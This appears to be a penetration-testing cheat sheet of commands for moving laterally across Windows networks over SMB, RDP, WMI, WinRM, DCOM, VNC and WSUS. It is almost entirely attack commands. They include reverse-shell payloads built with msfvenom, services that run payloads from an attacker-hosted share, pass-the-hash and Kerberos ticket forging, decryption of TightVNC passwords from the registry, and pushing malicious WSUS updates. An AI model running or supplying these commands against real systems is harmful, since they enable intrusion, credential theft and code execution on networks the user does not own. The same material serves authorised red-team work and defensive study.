Remote Services Lateral Movement - Windows
Lateral Movement in Windows For Remote Services SMB, RDP, WMI, DCOM, WINRM, WSUS
Enumeration
# Scan for RDP (port 3389) across a subnet
$ netexec rdp $IP/24 -u $USER -p '$PASSWORD' -d $DOMAIN
# Scan for SMB ports on a target
$ nmap $IP -sV -sC -p139,445 -Pn
# Scan for WMI ports on a target
$ nmap -p135,49152-65535 $IP -sV
# Scan for WinRM ports on a target
$ nmap -p5985,5986 $IP -sCV
# Scan for SSH on a target
$ nmap $IP -p 22 -sCV -Pn
# Test credentials against WMI
$ netexec wmi $IP -u $USER -p $PASSWORD
# Test credentials against WinRM
$ netexec winrm $IP -u $USER -p $PASSWORD
# Test credentials against SSH
$ netexec ssh $IP -u $USER -p $PASSWORD
# Locate WSUS server via SharpWSUS
$ .\SharpWSUS.exe locate
# Enumerate WSUS computers, groups, and downstream servers
$ .\SharpWSUS.exe inspect
# Query registry to find configured WSUS server
$ reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
Pivoting
# Start chisel reverse SOCKS server on attacker machine
$ ./chisel server --reverse
# Connect chisel client on compromised Windows host
$ .\chisel.exe client $ATTACKER_IP:8080 R:socks
RDP
# Connect to RDP from Linux using xfreerdp
$ xfreerdp /u:$USER /p:'$PASSWORD' /d:$DOMAIN /v:$IP /dynamic-resolution /drive:.,linux
# Connect to RDP optimized for low-bandwidth/proxy
$ xfreerdp /u:$USER /p:'$PASSWORD' /d:$DOMAIN /v:$IP /dynamic-resolution /drive:.,linux /bpp:8 /compression -themes -wallpaper /clipboard /audio-mode:0 /auto-reconnect -glyph-cache
# Pass-the-Hash RDP via xfreerdp (requires Restricted Admin Mode)
$ xfreerdp /u:$USER /pth:$NTLM_HASH /d:$DOMAIN /v:$IP
# Check if Restricted Admin Mode is enabled on target
$ reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin
# Enable Restricted Admin Mode (value 0 = enabled)
$ reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /d 0 /t REG_DWORD
# Forge TGT with Rubeus and inject into current session for RDP PtT
$ .\Rubeus.exe asktgt /user:$USER /rc4:$NTLM_HASH /domain:$DOMAIN /ptt
# Open RDP in Restricted Admin Mode using current session's ticket
$ mstsc.exe /restrictedAdmin
# Execute commands over RDP without GUI using SharpRDP
$ .\SharpRDP.exe computername=$HOST command="powershell.exe IEX(...)" username=$DOMAIN\$USER password=$PASSWORD
SMB
# Run PSExec interactively as the specified user
$ .\PsExec.exe \\$HOST -i -u $DOMAIN\$USER -p $PASSWORD cmd
# Run PSExec as SYSTEM on remote host
$ .\PsExec.exe \\$HOST -i -s -u $DOMAIN\$USER -p $PASSWORD cmd
# Lateral movement via SharpNoPSExec (abuses existing services, no new service created)
$ .\SharpNoPSExec.exe --target=$IP --payload="c:\windows\system32\cmd.exe /c $REVERSE_SHELL_CMD"
# Lateral movement via NimExec using password
$ .\NimExec -u $USER -d $DOMAIN -p $PASSWORD -t $IP -c "cmd.exe /c $REVERSE_SHELL_CMD"
# Lateral movement via NimExec using NTLM hash
$ .\NimExec -u $USER -d $DOMAIN -h $NTLM_HASH -t $IP -c "cmd.exe /c $REVERSE_SHELL_CMD"
# Hijack a process launch via Image File Execution Options registry key
$ reg.exe add "\\$HOST\HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\$TARGET_EXE" /v Debugger /t reg_sz /d "cmd /c $PAYLOAD"
# PSExec from Linux via Impacket
$ psexec.py $DOMAIN/$USER:'$PASSWORD'@$IP
# SMBExec semi-interactive shell from Linux
$ smbexec.py $DOMAIN/$USER:'$PASSWORD'@$IP
# List services on remote host via Impacket services.py
$ services.py $DOMAIN/$USER:'$PASSWORD'@$IP list
# Create a new service pointing to a reverse shell payload
$ services.py $DOMAIN/$USER:'$PASSWORD'@$IP create -name '$SVC_NAME' -display '$SVC_NAME' -path "\\\\$ATTACKER_IP\\share\\$PAYLOAD_EXE"
# Start a remote service
$ impacket-services $DOMAIN/$USER:'$PASSWORD'@$IP start -name '$SVC_NAME'
# Delete a remote service after use
$ services.py $DOMAIN/$USER:'$PASSWORD'@$IP delete -name '$SVC_NAME'
# Execute a scheduled task remotely via atexec.py
$ atexec.py $DOMAIN/$USER:'$PASSWORD'@$IP "$POWERSHELL_B64_CMD"
WMI
# Query OS info remotely via WMIC
$ wmic /node:$IP os get Caption,CSDVersion,OSArchitecture,Version
# Execute a process on a remote host via WMIC
$ wmic /node:$IP process call create "$CMD"
# Execute payload on remote host via PowerShell Invoke-WmiMethod
$ Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "$CMD" -ComputerName $IP
# Query remote WMI OS info via netexec
$ netexec wmi $IP -u $USER -p $PASSWORD --wmi "SELECT * FROM Win32_OperatingSystem"
# Execute command on remote host via netexec WMI
$ netexec wmi $IP -u $USER -p $PASSWORD -x whoami
# WMIExec from Linux (no output mode when port 445 is blocked)
$ wmiexec.py $DOMAIN/$USER:'$PASSWORD'@$IP $CMD -nooutput
WinRM
# Execute command on remote host via Invoke-Command
$ Invoke-Command -ComputerName $FQDN -ScriptBlock { $CMD }
# Open interactive PowerShell session on remote host
$ Enter-PSSession $FQDN
# Open interactive PowerShell session with explicit credentials
$ Enter-PSSession $FQDN -Credential $credential -Authentication Negotiate
# Add all hosts to TrustedHosts to bypass WinRM trust errors
$ Set-Item WSMan:localhost\client\trustedhosts -value * -Force
# Execute a WinRM command from Linux using netexec
$ netexec winrm $IP -u $USER -p $PASSWORD -x "$CMD"
# Connect to WinRM from Linux using Evil-WinRM
$ evil-winrm -i $IP -u '$DOMAIN\$USER' -p $PASSWORD
# Copy a file to a remote session over WinRM
$ Copy-Item -ToSession $SESSION -Path '$LOCAL_PATH' -Destination '$REMOTE_PATH'
# Execute a command on remote host via winrs
$ winrs -r:$HOST "$CMD"
DCOM
# Instantiate MMC20.Application object on remote host
$ $mmc = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","$IP"))
# Execute a command via MMC20.Application ExecuteShellCommand
$ $mmc.Document.ActiveView.ExecuteShellCommand("powershell.exe",$null,"-e $B64_PAYLOAD",0)
# Find CLSID for ShellWindows object
$ Get-ChildItem -Path 'HKLM:\SOFTWARE\Classes\CLSID' | ForEach-Object{Get-ItemProperty -Path $_.PSPath | Where-Object {$_.'(default)' -eq 'ShellWindows' } | Select-Object -ExpandProperty PSChildName}
# Instantiate ShellWindows object on remote host by CLSID
$ $shell = [activator]::CreateInstance([type]::GetTypeFromCLSID("$CLSID","$IP"))
# Execute command via ShellWindows ShellExecute
$ $shell[0].Document.Application.ShellExecute("cmd.exe","/c $CMD","C:\Windows\System32",$null,0)
# DCOM lateral movement from Linux via dcomexec.py (MMC20)
$ dcomexec.py -object MMC20 $DOMAIN/$USER:'$PASSWORD'@$IP "$POWERSHELL_CMD" -silentcommand
SSH
# SSH into a Windows host with password
$ ssh $USER@$HOST
# SSH using a private key file
$ ssh -i $KEY_PATH -l $USER@$DOMAIN -p $PORT $HOST
VNC
# Retrieve TightVNC password hash from registry
$ reg query HKLM\SOFTWARE\TightVNC\Server /s
# Decrypt TightVNC password hash on Linux
$ echo -n $VNC_HASH | xxd -r -p | openssl enc -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -iv 0000000000000000 -d | hexdump -Cv
# Connect to VNC from Linux (auto-pass via pipe)
$ echo $VNC_PASSWORD | vncviewer $IP -autopass
# Connect to VNC optimized for slow connections
$ echo $VNC_PASSWORD | vncviewer $IP -autopass -quality 0 -nojpeg -compresslevel 1 -encodings "tight hextile" -bgr233
WSUS
# Create a malicious WSUS update using PSExec as payload
$ .\SharpWSUS.exe create /payload:"$PSEXEC_PATH" /args:"-accepteula -s -d cmd.exe /c $CMD" /title:"$UPDATE_TITLE"
# Approve the malicious WSUS update for a target computer
$ .\SharpWSUS.exe approve /updateid:$UPDATE_ID /computername:$FQDN /groupname:"$GROUP_NAME"
# Check if the WSUS update has been installed on target
$ .\SharpWSUS.exe check /updateid:$UPDATE_ID /computername:$FQDN
# Delete the malicious WSUS update and remove computer from group
$ .\SharpWSUS.exe delete /updateid:$UPDATE_ID /computername:$FQDN /groupname:"$GROUP_NAME"
# Find failed WSUS content download path via Event Viewer
$ Get-WinEvent -LogName Application | Where-Object { $_.Id -eq 364 } | fl
# Copy payload to the expected WSUS content destination path
$ copy $PSEXEC64_PATH $WSUS_CONTENT_DESTINATION_PATH
Credential Attacks
# Forge a TGT with Rubeus using NTLM hash
$ .\Rubeus.exe asktgt /user:$USER /rc4:$NTLM_HASH /domain:$DOMAIN /nowrap
# Create a sacrificial process for ticket injection
$ .\Rubeus.exe createnetonly /program:powershell.exe /show
# Import a Kerberos ticket into the current session
$ .\Rubeus.exe ptt /ticket:$BASE64_TICKET
Payload Generation
# Generate a PowerShell reflective reverse shell with msfvenom
$ msfvenom -p windows/x64/meterpreter/reverse_https LHOST=$ATTACKER_IP LPORT=$PORT -f psh-reflection -o $OUTPUT_FILE
# Generate a service binary reverse shell with msfvenom
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=$PORT -f exe-service -o $OUTPUT_FILE
# Host payload over HTTP with Python
$ sudo python3 -m http.server 80
# Host SMB share for payload delivery
$ sudo smbserver.py share -smb2support $SHARE_DIR
Misc
# Allow insecure SMB guest auth (needed for unauthenticated SMB share access)
$ reg.exe add HKLM\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters /v AllowInsecureGuestAuth /d 1 /t REG_DWORD /f
# Find non-default listening ports on a Windows host
$ netstat -ano
# Identify which service owns a specific PID
$ tasklist /svc /FI "PID eq $PID"
# Connect to WinRM over IPv6
$ Enter-PSSession -ComputerName [$IPV6_ADDR] -Authentication Negotiate